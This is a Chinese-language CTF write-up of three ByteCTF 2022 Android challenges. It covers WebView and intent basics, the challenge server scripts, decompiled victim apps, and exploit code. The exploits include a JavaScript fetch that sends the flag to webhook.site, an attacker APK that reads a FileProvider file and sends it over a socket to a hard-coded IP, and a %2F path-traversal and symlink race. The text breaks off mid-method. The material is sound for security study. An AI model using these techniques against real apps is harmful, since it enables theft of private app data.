ByteCTF2022 mobile

一：前置知识

1.WebView

现在很多App中都会内置html5界面，有时候会涉及到与android进行交互，这就需要用到WebView控件，WebView可以做到：

1.显示和渲染web界面
2.直接使用html进行布局
3.与js进行交互

创建WebView拥有两种方法，第一种方法是WebView webview = new WebView(getApplicationContext());创建；第二种是在xml文件内放在布局中；下面以第二种方法为例

Activity_main.xml文件

<WebView
    android:id="@+id/eeeewebview"
    android:layout_width="0dp"
    android:layout_height="0dp"
    app:layout_constraintBottom_toBottomOf="parent"
    app:layout_constraintEnd_toEndOf="parent"
    app:layout_constraintStart_toStartOf="parent"
    app:layout_constraintTop_toTopOf="parent" />

MainActivity.java文件

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // WebView
    WebView webView = (WebView) findViewById(R.id.eeeewebview);
    webView.loadUrl("https://www.baidu.com");
    webView.setWebViewClient(new WebViewClient(){
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            //使用WebView加载显示url
            view.loadUrl(url);
            //返回true
            return true;
        }
    });

写完之后运行，发现报错，无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED)， 经过搜索在manifest内设置usesCleartextTraffic为true即可

可以看到百度已经被打开了，啊～因为这个app是我用来测试其他东西的，所以会看到三个奇奇怪怪的按钮

2.URI

Uri代表要操作的数据，Android上可用的每种资源 (图像、视频片段、网页等) 都可以用Uri来表示。从概念上来讲，UrI包括URL。

Uri的基本结构是

大致为[scheme:]scheme-specific-part[#fragment]
细分为[scheme:][//authority][path][?query][#fragment]

path可以存在多个，以”/“连接 scheme://authority/path1/path2/path3?query#fragment

query可以带参数的返回值也可不带 scheme://authority/path1/path2/path3?id = 1#fragment

举例如下

http://www.eeeeeeeeeeeeeeeea.cn/about?id=1

scheme是在”:”之前，所以他匹配的是http

authority是在”//“之后，所以www.eeeeeeeeeeeeeeeea.cn与其对应

path自然对应的就是about这个页面

query对应的是id=1

在安卓内，除了authority和scheme必须存在，其他的可以选择性的要或者不要

将一个url解析成uri对象的操作是Uri.parse(“http://www.baidu.com”)，就是将百度网址解析成一个uri对象，可以对其进行其他的各种操作了

3.intent

1.intent功能

intent是各大组件之间通信的桥梁，Android有四个组件，分别是Activity，Service，Broadcast Receiver，Content Provider；组件之间可以进行通信，互相调用，从而形成一个app

每个应用程序都有若干个Activity组成，每一个Activity都是一个应用程序与用户进行交互的窗口，呈现不同的交互界面。因为每一个Acticity的任务不一样，所以经常互在各个Activity之间进行跳转，在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统，系统会根据这个Intent帮助你找到对应的Activity，即使这个Activity在其他的应用中，也可以用这种方法启动它。

2.显式intent和隐式intent

intent包括两种，一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名，多发于同一个app内；隐式intent只知道要执行的动作是什么，比如拍照，录像，打开一个网站。

那么隐式的intent如何启动一个组件呢呢？如果没有约束的话可能会造成一些后果，所以在Manifest文件内定义了intent-filter标签，如果组件中的intentfilter和intent中的intentfilter匹配，系统就会启动该组件，并把intent传给它；若有多个组件都符合，系统变会弹出一个窗口，任我们选择启动该intent的应用(app)。

在intent-filter标签中，我们可以选择三个intent的属性进行设置，包括action，category，data

上图intent-filter定义的action为MAIN，代表app以这个activity开始

3.intent属性

1.component

该属性是显式intent特有的，表明要启动的类的全称，包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。

下面代码可以启动另一个app的主页面

Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);            
ComponentName cn = new ComponentName(packageName, className);            
intent.setComponent(cn);
startActivity(intent);

一个activity是否能被其他app的组件启动取决于”android:exported”，true能，false不能。如果是false，这个activity只能被相同app的组件启动，或者是相同user ID的app的组件启动。

如果显式设置exported属性，不管这个activity有没有设置intent-filter,那么exported的值就是显式设置的值

如果没有设置exported属性，那么exported属性取决于这个activity是否有intent-filter

如有intent-filter,那么exported的值就是true

如没有intent-filter,那么exported的值就是false

2.action

一个字符串变量，用来指定Intent要执行的动作类别（比如：view or pick）。你可以在你的应用程序中自定义action，但是大部分的时候你只使用在Intent中定义的action，你可以通过Intent的setAction()方法设置action。

3.data

一个Uri对象，对应着一个数据。只设置数据的URI可以调用setData()方法，只设置MIME类型可以调用setType()方法，如果要同时设置这两个可以调用setDataAndType()。

4.category

一个包含Intent额外信息的字符串，表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中，你可以通过调用addCagegory()方法来设置category。

5.extras

Intent可以携带的额外key-value数据，你可以通过调用putExtra()方法设置数据，每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据，然后通过调用putExtras()方法来设置数据。

6.flags

用来指示系统如何启动一个Activity（比如：这个Activity属于哪个Activity栈）和Activity启动后如何处理它(比如：是否把这个Activity归为最近的活动列表中)。

二：题目环境布置

1.docker存在问题

运行run.sh，我自己启动了一遍docker环境，修改了一些部分，最终发现是在server.py文件的setup_emulator()函数中没有模拟出来手机，只是创建了一个AVD环境，并没有emulator成功

由于自己能力有限，实在不知道如何修好这个docker环境，便就此搁置，导致后面silver droid利用也不完全；如若后续进步，必定再战一次

2.server.py脚本内函数

1.adb_broadcast

adb broadcast便是将服务器上的flag传给apk的FlagReceiver，通过adb shell进入手机，可以查看到flag被存到了”files/flag”内

之前有一个疑问，便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter，防止外界app进行干扰，那么是怎么将flag传递给FlagReceiver呢？

由于root的情况下，是忽略掉exported的，所以可以对其进行广播

am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'

2.adb_activity

通过intent传递url数据，下面可以通过-d选项来指定Intent data URI

am start -a android.intent.action.VIEW -d  https://www.baidu.com

下面的题目介绍，都是以pixel4为环境打的，因为docker我这边模拟不起来

同时记得自己写的apk要在AndroidManifest.xml内加两句话，可以让其有网络访问的权限

<uses-permission android:name="android.permission.INTERNET"/>


  <application
      android:usesCleartextTraffic="true"

三：Silver Droid

1.server.py分析

主要由攻击者提供一个url，在url内布置好exp，从而进行达到利用的目的，具体见代码块内分析

#!/usr/bin/env python3
import os    
import random
import subprocess
import sys
import time
import requests
import uuid
from hashlib import *
import zipfile
import signal
import string

isMacos = len(sys.argv) == 2
wordlist = string.ascii_letters
difficulty = 4
random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])
ADB_PORT = int(random.random() * 60000 + 5000)
EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)
EXPLOIT_TIME_SECS = 30
APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")
FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")
HOME = "/home/user"
VULER = "com.bytectf.silverdroid"


ENV = {}
ENV.update(os.environ)
if not isMacos:
    ENV.update({
        "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),
        "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),
        "ANDROID_SDK_ROOT": "/opt/android/sdk",
        "ANDROID_SDK_HOME": HOME,
        "ANDROID_PREFS_ROOT": HOME,
        "ANDROID_EMULATOR_HOME": HOME + "/.android",
        "ANDROID_AVD_HOME": HOME + "/.android/avd",
        "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",
        "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")
    })


def print_to_user(message):
    print(message)
    sys.stdout.flush()

def download_file(url):
    try:
        download_dir = "download"
        if not os.path.isdir(download_dir):
            os.mkdir(download_dir)
        tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')
        f = requests.get(url)
        if len(f.content) > 10*1024*1024: # Limit size 10M
            return None
        with open(tmp_file, 'wb') as fp:
            fp.write(f.content)
        return tmp_file
    except:
        return None

def proof_of_work():
    print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")
    prefix = random_hex(6)
    suffix = random_hex(difficulty)
    targetHash = sha256((prefix+suffix).encode()).hexdigest()
    print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')
    print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')
    proof = sys.stdin.readline().strip()
    return sha256((prefix+proof).encode()).hexdigest() == targetHash


def check_apk(path):
    # return True
    try:
        z = zipfile.ZipFile(path)
        for f in z.filelist:
            if f.filename == "AndroidManifest.xml":
                return True
        return False
    except:
        return False

def setup_emulator():
  
  #avdmanager是一个命令行工具，可以用于从命令行创建和管理 Android 虚拟设备 (AVD)，借助 AVD，您可以定义要在 Android 模拟器中模拟的 Android 手机
    subprocess.call(
        "avdmanager" +
        " create avd" +
        " --name 'pixel_xl_api_30'" +
        " --abi 'google_apis/x86_64'" +
        " --package 'system-images;android-30;google_apis;x86_64'" +
        " --device pixel_xl" +
        " --force" +
        ("" if isMacos  else " > /dev/null 2> /dev/null"),
        env=ENV,
        close_fds=True,
        shell=True)

    return subprocess.Popen(
        "emulator" +
        " -avd pixel_xl_api_30" +
        " -no-cache" +
        " -no-snapstorage" +
        " -no-snapshot-save" +
        " -no-snapshot-load" +
        " -no-audio" +
        " -no-window" +
        " -no-snapshot" +
        " -no-boot-anim" +
        " -wipe-data" +
        " -accel on" +
        " -netdelay none" +
        " -no-sim" +
        " -netspeed full" +
        " -delay-adb" +
        " -port {}".format(EMULATOR_PORT) +
        ("" if isMacos  else " > /dev/null 2> /dev/null ") +
        "",
        env=ENV,
        close_fds=True,
        shell=True, #通过操作系统的 shell 执行指定的命令
        preexec_fn=os.setsid)

def adb(args, capture_output=True):  
  #执行adb命令
    return subprocess.run(
        # "adb {}".format(" ".join(args)) +
        # ("" if isMacos  else " 2> /dev/null"),
        ['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),
        env=ENV,
        # shell=True,
        close_fds=True,
        capture_output=capture_output).stdout

def adb_install(apk):
    adb(["install", "-t", apk])

def adb_activity(activity, extras=None, wait=False, data=None):
    args = ["shell", "am", "start"]
    if wait:
        args += ["-W"]
    args += ["-n", activity]
    if extras:
        for key in extras:
            args += ["-e", key, extras[key]]
    if data:
        args += ["-d", data]
    adb(args)

def adb_broadcast(action, receiver, extras=None):
    args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]
    if extras:
        for key in extras:
            args += ["-e", key, extras[key]]
    adb(args)



print_to_user(r"""
░█▀▀░█░░░▀█▀░█░█░█▀▀░█▀▄░█▀▄░█▀▄░█▀█░▀█▀░█▀▄
░▀▀█░█░░░░█░░▀▄▀░█▀▀░█▀▄░█░█░█▀▄░█░█░░█░░█░█
░▀▀▀░▀▀▀░▀▀▀░░▀░░▀▀▀░▀░▀░▀▀░░▀░▀░▀▀▀░▀▀▀░▀▀░
""")

if not isMacos:
    if not proof_of_work():
        print_to_user("Please proof of work again, exit...\n")
        exit(-1)

print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
# url should be like "https://xxx" to to ensure that `adb shell` passes intent.data correctly.
if url.strip('"') == url:
    url = f'"{url}"'
if not url.startswith('"https://'):
    print_to_user("Invalid poc url.\n")
    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
#只有连接上了模拟器/设备连接上了adb，服务才会被执行，而在Android系统完全启动前执行就会有错误发生
adb(["wait-for-device"])

adb_install(APK_FILE) #将apk文件装到模拟器中
with open(FLAG_FILE, "r") as f: 
    adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
#adb shell su root am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}' 
#am broadcast 发送广播
#-a com.wuhengctf.SET_FLAG:指定intent操作，如android.intent.action.VIEW,Intent intent = new Intent();  intent.setAction("android.SET_FLAG");
#-n "com.bytectf.silverdroid/.FlagReceiver": 确定接收者
#-e 'flag' 'flag{eeeeeeee}': 字符串


adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)
# adb shell am start -W -n "com.bytectf.silverdroid/.MainActivity" -d "url"
#-n "com.bytectf.silverdroid/.MainActivity":启动MainActivity
#-d "url":传递url给MainActivity，而silver droid程序通过Uri uri0 = this.getIntent().getData()接收url



print_to_user("Launching! Let your apk fly for a while...\n")

if isMacos:
    input('wait for debug')
else:
    time.sleep(EXPLOIT_TIME_SECS)

print_to_user("exiting......")

try:
    os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
    os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except:
    pass

2.MainActivity逆向

使用jeb打开apk，MainActivity如下

package com.bytectf.silverdroid;

import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;

public class MainActivity extends AppCompatActivity {
    @Override  // androidx.fragment.app.FragmentActivity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F0B001C);  // layout:activity_main
        Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数，可以来自另一个app
        if(uri0 != null) {   //若参数不为null
            WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context
            webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时，我们希望目标网页仍然在当前的webview中显示，而不是在浏览器中打开
                @Override  // android.webkit.WebViewClient
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                  //当shouldOverrideUrlLoading返回值为true，拦截webview加载url
                    try {
                        Uri uri0 = Uri.parse(url); //解析url
                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
                        if(uri0.getScheme().equals("https")) { //scheme必须是https
                            return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾，返回true，再取反返回false，不会拦截webview加载url
                        }
                    }
                    catch(Exception e) {
                        e.printStackTrace();
                        return true;
                    }

                    return true;
                }
            });
            webView.setWebViewClient(new WebViewClient() {
                @Override  // android.webkit.WebViewClient
                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {  //拦截url，js，css等响应阶段,拦截所有的url请求，若返回非空，则不再进行网络资源请求，而是使用返回的资源数据 
                    FileInputStream inputStream; 
                    Uri uri0 = request.getUrl();  //获得js请求的request	
                    if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头
                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件，新建file以cache为目录，uri0的最后一个地址段
                      //getCacheDir获取手机中/data/data/包名/cache目录；
                      
                        if(cacheFile.exists()) { //若映射的文件真实存在，则进入下面循环
                            try {
                                inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内，之后可以进行读取操作
                            }
                            catch(IOException e) {
                                return null;
                            }

                            HashMap headers = new HashMap();
                            headers.put("Access-Control-Allow-Origin", "*");
                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);  //返回响应
                        }
                    }

                    return super.shouldInterceptRequest(view, request);
                }
            });
            this.setContentView(webView); //
            webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性，能够执行Javascript脚本
            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
        } 
    }
}

经过分析可知，MainActivity先loadUrl，从判断传入的intent是否符合https开头，以.myqcloud.com结尾，若符合；在请求js脚本的内容时会拦截其响应，对js脚本的response地址进行检查，则返回响应时修改响应数据。

3.jump.html

主要功能就是提供一个检查并且打开传入的url地址

<h1>jump</h1>
<script>
    function getQueryVariable(variable)
    {
        var query = window.location.search.substring(1); //window.location是获得当前页面的url地址，添上search之后表示从"?"开始的url，而substring(1)就是将"?"截掉。
  
        var vars = query.split("&");  //把query以"&"进行分割
        for (var i=0;i<vars.length;i++) {
            var pair = vars[i].split("=");
            if(pair[0] == variable){return pair[1];}
        }
        return(false);  //获得url参数
    }
    var myurl = getQueryVariable("url").toString().toLowerCase();//
    if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) { //myurl不能含有myqcloud
        window.location.href = myurl;  //只表示打开这个url页面，并不是打开且刷新这个页面
    }
</script>

4.漏洞利用（不完整）

经过分析得知我们传入的poc必须以”https”开头，在webview中处理时以”myqcloud.com”结尾，但是在jump.html跳转页面时不包含myqcloud，需要用到字符转换之类.

由于是赛后复现，观察其他师傅的wp发现，我们js脚本中的请求url必须包含有flag文件，我自己也尝试过在几个服务器内部部署一个flag文件，可能是由于docker启动的问题，导致网络不稳定，一直请求不到

将此js文件放到https://bytectf-1314169455.cos.ap-nanjing.myqcloud.com内。

<script>
	async function fetchTest(){

		fetch("https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123")}
	(async () => {await fetchTest();})();
</script>

四：Bronze Droid

1.server.py分析

打开apk之前，先大概看了一眼docker和启动环境的脚本，和Silver Droid的大致一样，其中server.py的实现便不同，大致便是由攻击者实现一个恶意apk，将题目提供的apk和自己实现的apk均安装到模拟器内，启动恶意apk的MainActivity来获得flag

由于篇幅，下面server.py代码仅复制与上面不一样的地方

print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url) 
if not check_apk(EXP_FILE):
    print_to_user("Invalid apk file.\n")
    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])

adb_install(APK_FILE)   #安装受害者apk
with open(FLAG_FILE, "r") as f:
    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})

time.sleep(3)
adb_install(EXP_FILE)  #安装恶意apk
adb_activity(f"{ATTACKER}/.MainActivity") #启动恶意apk的MainActivity

print_to_user("Launching! Let your apk fly for a while...\n")

2.MainActivity逆向

看代码如下，一眼看去好短；

package com.bytectf.bronzedroid;

import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity {
    @Override  // android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F0B001C);  // layout:activity_main
        String s = this.getIntent().getAction(); //获得启动该Activity的intent的Action属性
        if(s != null && (s.equals("ACTION_SHARET_TO_ME"))) { //判断
            this.setResult(-1, this.getIntent()); //将某些数据回带给启动该Activity的Activity
            this.finish();
        }
    }
}

MainActivity的exported属性为true，所以可以通过外部app来启动MainActivity，具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件，然后受害者app通过setResult将flag回带给恶意apk。

想要读取flag文件，需要利用fileprovider，可知authority是com.bytectf.bronzedroid.fileprovider，所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag

3.漏洞利用

恶意apk的MainActivity如下，下面的MainActivity可以进行本地测试；如果打远程需要将flag通过http回传到服务器。

package com.eeeetest.bronzedroid_pwn;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);



        Intent intent = new Intent();
        intent.setAction("ACTION_SHARET_TO_ME");
        intent.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");
        intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        startActivityForResult(intent,1);
    }

    @Override //重写
    public void onActivityResult(int requestCode, int resultCode, Intent data) { //得到回传的数据
        super.onActivityResult(requestCode, resultCode, data); //重写
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(getContentResolver().openInputStream(data.getData()));
            char[] cArr = new char[1024];
            StringBuffer stringBuffer = new StringBuffer("");
            while (-1 != inputStreamReader.read(cArr, 0, 1024)) {
                stringBuffer.append(String.valueOf(cArr));
            }
            //send(new String(stringBuffer));
            String flag = new String(stringBuffer);
            ((TextView) findViewById(R.id.tv_show)).setText(new String(stringBuffer));


        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    }

若想回传flag，只需要在恶意apk内增加一个httpGet功能，然后在服务器内监听一下，代码如下

private void send(final String str) { //和服务器建立socket通信，将flag带入到服务器内
    new Thread() {
        @Override
        public void run() {
            try {
                Socket socket = new Socket("47.101.67.103", 1235); 
                sleep(1000L);
                if (socket.isConnected()) {
                    System.out.println("connect succeed!");
                    OutputStream outputStream = socket.getOutputStream();
                    outputStream.write(str.getBytes());
                    outputStream.flush();
                    outputStream.close();
                    socket.close();
                }
            } catch (Exception unused) {
            }
        }
    }.start();
}

五：Gold Droid

1.server.py

和前两题又不一样，这题先运行了受害apk的main，然后再运行恶意apk的main来拿到flag

print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
if not check_apk(EXP_FILE):
    print_to_user("Invalid apk file.\n")
    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])

adb_install(APK_FILE)   #安装受害apk
adb_activity(f"{VULER}/.MainActivity")  ######  启动受害apk的MainActivity
with open(FLAG_FILE, "r") as f:
    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) #发送flag

time.sleep(3)
adb_install(EXP_FILE)
adb_activity(f"{ATTACKER}/.MainActivity")  #运行恶意apk的MainActivity

print_to_user("Launching! Let your apk fly for a while...\n")

if isMacos:
    input('wait for debug')
else:
    time.sleep(EXPLOIT_TIME_SECS)

print_to_user("exiting......")

2.MainActivity逆向

代码看起来没有什么漏洞，只是创建了一个文件并向内部写入” I'm in external”

package com.bytectf.golddroid;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

public class MainActivity extends AppCompatActivity {
    @Override  // androidx.fragment.app.FragmentActivity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F0B001C);  // layout:activity_main
        File externalFile = new File(this.getExternalFilesDir("sandbox"), "file1"); //getExternalFilesDir对应的目录是/sdcard/Android/data/包名/files/，映射sandbox文件夹内的file1文件
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(externalFile); //创建externalFile文件
            fileOutputStream.write("I\'m in external\n".getBytes(StandardCharsets.UTF_8)); //写入
            fileOutputStream.close();
        }
        catch(IOException e) {
            e.printStackTrace();
        }
    }
}

VulProvider好像存在漏洞的样子

3.VulProvider逆向

VulProvider使用了ContentProvider将应用程序的数据暴露给外界。

如何通过一套标准及统一的接口获取其他应用程序暴露的数据？Android提供了ContentResolver，外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据

package com.bytectf.golddroid;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

public class VulProvider extends ContentProvider { //
    @Override  // android.content.ContentProvider
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        return 0;
    }

    @Override  // android.content.ContentProvider
    public String getType(Uri uri) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public Uri insert(Uri uri, ContentValues values) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public boolean onCreate() {
        return false;
    }

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file0 = this.getContext().getExternalFilesDir("sandbox"); 
      // file0 = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/
        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); //
        // file = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/uri.getLastPathSegment()
      	try { 
            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { //防止目录穿越,getCanonicalPath会将目录中存在./和../的路径全部转化成没有./和../的路径，下面例子
              //Path: workspace/test/../../../.././test1.txt
             //getAbsolutePath:/Users/eeee/Desktop/CTF/ByteCTF/Gold_Droid/workspace/test/../../../.././test1.txt
             //getCanonicalPath: /Users/eeee/Desktop/CTF/test1.txt
                throw new IllegalArgumentException();
            }
        }
        catch(IOException e) {
            e.printStackTrace();
        }

        return ParcelFileDescriptor.open(file, 0x10000000); //0x10000000代表只读
    }

    @Override  // android.content.ContentProvider
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
        return 0;
    }
}

public static ParcelFileDescriptor open(File file, int mode) throws FileNotFoundException {
    final FileDescriptor fd = openInternal(file, mode);
    if (fd == null) return null;
    return new ParcelFileDescriptor(fd);
}

private static FileDescriptor openInternal(File file, int mode) throws FileNotFoundException {
    final int flags = FileUtils.translateModePfdToPosix(mode) | ifAtLeastQ(O_CLOEXEC);
    int realMode = S_IRWXU | S_IRWXG;
    if ((mode & MODE_WORLD_READABLE) != 0) realMode |= S_IROTH;
    if ((mode & MODE_WORLD_WRITEABLE) != 0) realMode |= S_IWOTH;
    final String path = file.getPath(); //重新获得了path，没有用getCanonicalPath过滤，这样就存在目录穿越
    try {
        return Os.open(path, flags, realMode); 
    } catch (ErrnoException e) {
        throw new FileNotFoundException(e.getMessage());
    }
}

*注意

如果是普通文件，file.getAbsolutePath()和file.getCanonicalPath()是一样

如果是link文件，file.getAbsolutePath()是链接文件的路径；file.getCanonicalPath是实际文件的路径（所指向的文件路径）。

记住一定要执行adb shell setenforce 0 暂时关闭 selinux 进行验证。不然会被坑惨，三天我才找到这个呜呜呜呜。

如果不关闭的话，file.getCanonicalPath是不会得到文件的软链接的路径，所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。

介绍：https://blog.csdn.net/a572423926/article/details/123261874

我写了一个demo，大家可以试试看，挺好玩的

package com.bytectf.test;

import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.IOException;


import android.net.Uri;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        File file0 = new File("/data/data/com.bytectf.pwngolddroid/","cache");            //取得相对路径
        System.out.println("file0 Path: " + file0.getPath());

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
        Uri uri = Uri.parse(path);
        System.out.println("uri.getLastPathSegment:"+uri.getLastPathSegment());   //利用"%2F"绕过getLastPathSegment，让其存在目录穿越

        File file = new File(this.getExternalFilesDir("sandbox"),"../../../../../../../../data/data/com.bytectf.pwngolddroid/symlink");
        File file1 = new File(this.getExternalFilesDir("sandbox"),uri.getLastPathSegment());
        File file2 = new File(this.getExternalFilesDir("sandbox"),"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink");
        System.out.println("file Path: " + file.getPath());
        System.out.println("file1 Path: " + file1.getPath());
        System.out.println("file2 Path: " + file2.getPath());
        try {
            System.out.println("file1.getCanonicalPath:"+file1.getCanonicalPath());
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            if(!file1.getCanonicalPath().startsWith(file0.getCanonicalPath())) {  /////////////
                throw new IllegalArgumentException();
            }
        }
        catch(IOException e) {
            e.printStackTrace();
        }
        //取得绝对路径
//        try{
//            System.out.println("getCanonicalPath: "+ file.getCanonicalPath()); }
//        catch(Exception e){}
    }


    }

用”%2F”绕过getLastPathSegment；

4.漏洞利用

那么我一开始想不到我们编写的apk如何与目标apk进行交流，如何启动目标apk的VulActivity，一方面需要请求受害者apk的VulProvider，另一方面需要进行线程竞争和软链接，当软链接合法的时候通过openFile的检测，进入ParcelFileDescriptor.open，这时如果凑巧非法链接到了flag文件，便可以得到flag了。

如果运行程序的话，可以观察到在手机里symlink文件的软链接一直在被切换，一是指向flag这个非法路径，二是指向sandbox/file1这个合法路径

由于我是用安卓机复现，所以让其指向了非法的flag文件和合法的/sandbox/file1便结束了(我不会说是我试了两天还没竞争出来)，

三天后，解决了这个问题，已破案。原因上面以说👆

MainActivity如下：

package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;


public class MainActivity extends AppCompatActivity {
    String symlink;

    public void httpGet(String msg) {
